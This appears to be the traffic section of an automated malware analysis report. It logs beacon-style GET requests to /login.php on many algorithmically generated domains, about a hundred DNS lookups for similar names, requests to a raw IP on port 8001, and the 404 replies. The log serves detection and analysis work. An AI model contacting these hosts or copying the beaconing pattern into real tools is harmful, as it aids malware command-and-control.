Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comContent-Length: 6Cookie: btst=ba785a403bc90255316f056071bf01aa|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comContent-Length: 6Cookie: btst=aa184787ed2d77e1f6f59c2dc950863e|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comContent-Length: 6Cookie: vsid=918vr471976932991951418Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comContent-Length: 6Cookie: btst=a03933307436d0e87a275c8dab3cea9f|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comContent-Length: 6Cookie: btst=3bd5de231d5c30f08e390492f5c039b1|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyfyj.comContent-Length: 6Cookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww6.galyqaz.comConnection: Keep-AliveCookie: vsid=918vr471976932991951418Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.comContent-Length: 6Cookie: btst=2defa10e06435b44928a9b853377cfec|8.46.123.33|1724431347|1724431347|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /dh/147287063_637385.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.137.66:8001Connection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /dh/147287063_637385.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.137.66:8001Connection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galynuh.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyciz.comContent-Length: 6Cookie: btst=d106e65ece3c227125fd2b7f88318a22|8.46.123.33|1724431386|1724431386|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vofycot.comContent-Length: 6Cookie: __tad=1724431387.3029143Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyxynyx.comContent-Length: 6Cookie: __tad=1724431387.5010053Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww16.vofycot.comConnection: Keep-AliveCookie: __tad=1724431387.3029143Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcb HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww25.lyxynyx.comConnection: Keep-AliveCookie: __tad=1724431387.5010053Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficDNS traffic detected: DNS query: gatyfus.com
Source: global trafficDNS traffic detected: DNS query: lyvyxor.com
Source: global trafficDNS traffic detected: DNS query: puvyxil.com
Source: global trafficDNS traffic detected: DNS query: qetyfuv.com
Source: global trafficDNS traffic detected: DNS query: gahyqah.com
Source: global trafficDNS traffic detected: DNS query: lyryfyd.com
Source: global trafficDNS traffic detected: DNS query: vocyzit.com
Source: global trafficDNS traffic detected: DNS query: qegyqaq.com
Source: global trafficDNS traffic detected: DNS query: vojyqem.com
Source: global trafficDNS traffic detected: DNS query: purydyv.com
Source: global trafficDNS traffic detected: DNS query: gacyzuz.com
Source: global trafficDNS traffic detected: DNS query: lygymoj.com
Source: global trafficDNS traffic detected: DNS query: vowydef.com
Source: global trafficDNS traffic detected: DNS query: qexylup.com
Source: global trafficDNS traffic detected: DNS query: pufymoq.com
Source: global trafficDNS traffic detected: DNS query: gaqydeb.com
Source: global trafficDNS traffic detected: DNS query: lyxylux.com
Source: global trafficDNS traffic detected: DNS query: vofymik.com
Source: global trafficDNS traffic detected: DNS query: qeqysag.com
Source: global trafficDNS traffic detected: DNS query: puzylyp.com
Source: global trafficDNS traffic detected: DNS query: gadyniw.com
Source: global trafficDNS traffic detected: DNS query: lymysan.com
Source: global trafficDNS traffic detected: DNS query: volykyc.com
Source: global trafficDNS traffic detected: DNS query: qedynul.com
Source: global trafficDNS traffic detected: DNS query: pumypog.com
Source: global trafficDNS traffic detected: DNS query: galykes.com
Source: global trafficDNS traffic detected: DNS query: lysynur.com
Source: global trafficDNS traffic detected: DNS query: vonypom.com
Source: global trafficDNS traffic detected: DNS query: qekykev.com
Source: global trafficDNS traffic detected: DNS query: pupybul.com
Source: global trafficDNS traffic detected: DNS query: lykyjad.com
Source: global trafficDNS traffic detected: DNS query: vopybyt.com
Source: global trafficDNS traffic detected: DNS query: pujyjav.com
Source: global trafficDNS traffic detected: DNS query: gatyvyz.com
Source: global trafficDNS traffic detected: DNS query: ganypih.com
Source: global trafficDNS traffic detected: DNS query: lyvytuj.com
Source: global trafficDNS traffic detected: DNS query: vojyjof.com
Source: global trafficDNS traffic detected: DNS query: qetyvep.com
Source: global trafficDNS traffic detected: DNS query: puvytuq.com
Source: global trafficDNS traffic detected: DNS query: gahyhob.com
Source: global trafficDNS traffic detected: DNS query: lyryvex.com
Source: global trafficDNS traffic detected: DNS query: vocyruk.com
Source: global trafficDNS traffic detected: DNS query: qebytiq.com
Source: global trafficDNS traffic detected: DNS query: qegyhig.com
Source: global trafficDNS traffic detected: DNS query: purycap.com
Source: global trafficDNS traffic detected: DNS query: gacyryw.com
Source: global trafficDNS traffic detected: DNS query: lygygin.com
Source: global trafficDNS traffic detected: DNS query: qexyryl.com
Source: global trafficDNS traffic detected: DNS query: pufygug.com
Source: global trafficDNS traffic detected: DNS query: gaqycos.com
Source: global trafficDNS traffic detected: DNS query: lyxywer.com
Source: global trafficDNS traffic detected: DNS query: vofygum.com
Source: global trafficDNS traffic detected: DNS query: qeqyxov.com
Source: global trafficDNS traffic detected: DNS query: gadyfuh.com
Source: global trafficDNS traffic detected: DNS query: puzywel.com
Source: global trafficDNS traffic detected: DNS query: lymyxid.com
Source: global trafficDNS traffic detected: DNS query: volyqat.com
Source: global trafficDNS traffic detected: DNS query: qedyfyq.com
Source: global trafficDNS traffic detected: DNS query: vowycac.com
Source: global trafficDNS traffic detected: DNS query: galyqaz.com
Source: global trafficDNS traffic detected: DNS query: pumyxiv.com
Source: global trafficDNS traffic detected: DNS query: lysyfyj.com
Source: global trafficDNS traffic detected: DNS query: vonyzuf.com
Source: global trafficDNS traffic detected: DNS query: qekyqop.com
Source: global trafficDNS traffic detected: DNS query: www.gahyqah.com
Source: global trafficDNS traffic detected: DNS query: ww1.lysyfyj.com
Source: global trafficDNS traffic detected: DNS query: ganyzub.com
Source: global trafficDNS traffic detected: DNS query: pupydeq.com
Source: global trafficDNS traffic detected: DNS query: lykymox.com
Source: global trafficDNS traffic detected: DNS query: vopydek.com
Source: global trafficDNS traffic detected: DNS query: qebylug.com
Source: global trafficDNS traffic detected: DNS query: pujymip.com
Source: global trafficDNS traffic detected: DNS query: lyvylyn.com
Source: global trafficDNS traffic detected: DNS query: gatydaw.com
Source: global trafficDNS traffic detected: DNS query: vojymic.com
Source: global trafficDNS traffic detected: DNS query: qetysal.com
Source: global trafficDNS traffic detected: DNS query: puvylyg.com
Source: global trafficDNS traffic detected: DNS query: gahynus.com
Source: global trafficDNS traffic detected: DNS query: lyrysor.com
Source: global trafficDNS traffic detected: DNS query: vocykem.com
Source: global trafficDNS traffic detected: DNS query: purypol.com
Source: global trafficDNS traffic detected: DNS query: qegynuv.com
Source: global trafficDNS traffic detected: DNS query: gacykeh.com
Source: global trafficDNS traffic detected: DNS query: lygynud.com
Source: global trafficDNS traffic detected: DNS query: vowypit.com
Source: global trafficDNS traffic detected: DNS query: qexykaq.com
Source: global trafficDNS traffic detected: DNS query: gaqypiz.com
Source: global trafficDNS traffic detected: DNS query: lyxyjaj.com
Source: global trafficDNS traffic detected: DNS query: pufybyv.com
Source: global trafficDNS traffic detected: DNS query: vofybyf.com
Source: global trafficDNS traffic detected: DNS query: qeqytup.com
Source: global trafficDNS traffic detected: DNS query: puzyjoq.com
Source: global trafficDNS traffic detected: DNS query: gadyveb.com
Source: global trafficDNS traffic detected: DNS query: lymytux.com
Source: global trafficDNS traffic detected: DNS query: volyjok.com
Source: global trafficDNS traffic detected: DNS query: pumytup.com
Source: global trafficDNS traffic detected: DNS query: galyhiw.com
Source: global trafficDNS traffic detected: DNS query: lysyvan.com
Source: global trafficDNS traffic detected: DNS query: vonyryc.com
Source: global trafficDNS traffic detected: DNS query: qekyhil.com
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 16:42:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBj5aZVI65kyZDJ%2FFidXbhtn%2B962u%2BE4mvm4If5SGmgioNP3sS2S7XBhsBaCfCOsppletHJ1sKxNw8sEVkSsmqJo3Qhg4UA%2F%2FHLNAmXINOGvKtg4SyrVksPbHLtgUA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8b7c8e02b871c34b-EWRalt-svc: h3=":443"; ma=86400
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 16:42:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7JRfeBUh1WIiC1qA5SYFt9n%2BNc867fRUr5wP1ixM6lidfKI3uUWb9WzlaPXKVwcvqHinp3o3gY%2BAjsp0kLy%2F6M7W0fIO8FrWQTbeVwCYpSx7eqGYyBg%2FBbq5xiu1fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8b7c8e16b95242f8-EWRalt-svc: h3=":443"; ma=86400
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 16:43:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="30.7",amp_style_sanitizer;dur="14.1",amp_tag_and_attribute_sanitizer;dur="11.3",amp_optimizer;dur="16.5"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fs93R2NJP0o49EZuEgS3Ac38A9igF3GzJv%2B%2F7RfX%2Fn%2Bk4pnM7zYqlIdQvTinumMZRBXb2urxf93CHe84r9AwbiyUy4DFSHpRnV7eygSlbhmJP7D71DouRWzGQXezUQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8b7c8f288e754346-EWRalt-svc: h3=":443"; ma=86400
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 16:43:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W0K0qMHJ06ql1CRX%2BJoo6v9MRttnzEL9yWM39K4UkHuiknRYNMTfVRtUkWMpEQ8N3C%2FKteR%2FHUcU7cYPIyyWyn9%2Fjs98en5iznJTwOtUxNXUVjJN3mVrRejEVd5GDA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8b7c8ffbc816434a-EWRalt-svc: h3=":443"; ma=86400
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 16:43:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klYq6YYmcRMdbilfj26HsgXXG677Rd1h8HQd8LJL853e1aKKqyV6LuJPeXHQHUgx%2BDxhC96l05lY0x0g%2Fns99PKzV8bY%2F%2B%2B%2Be%2Bdv1wwzSBPZUng0cCtrtmBfw6hTLQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8b7c90064ab6c44a-EWRalt-svc: h3=":443"; ma=86400
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 16:43:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="45.7",amp_style_sanitizer;dur="20.2",amp_tag_and_attribute_sanitizer;dur="20.0",amp_optimizer;dur="24.9"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eFlMBxJLc8%2FWBJ4nGdrEiwyjv3lm6z0Q0SMzfchV%2FanIcY01r%2BWxbgspeJSkXmxmbqhsSoe4%2BhKnbInsD%2BuRXLxv7M%2FxMVYiheSIHbWtMvqtUaAOiuaj4VdAa8q%2Fiw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8b7c90497805438a-EWRalt-svc: h3=":443"; ma=86400
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 16:43:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="60.4",amp_style_sanitizer;dur="25.0",amp_tag_and_attribute_sanitizer;dur="28.8",amp_optimizer;dur="27.3"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2tece5BWV8IkYRy59M7RuAxejrceWuYYZ1Hi%2BTV2i4%2FVCwx3UmpAbW4PHfjr8zX4%2B5RHUEWCJlKQ1jqj3NjOtljicf3Hk2jviyb2WxLlxajy0t%2BE6iewf%2Bhzu%2BZExA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8b7c905ed8f67ce2-EWRalt-svc: h3=":443"; ma=86400
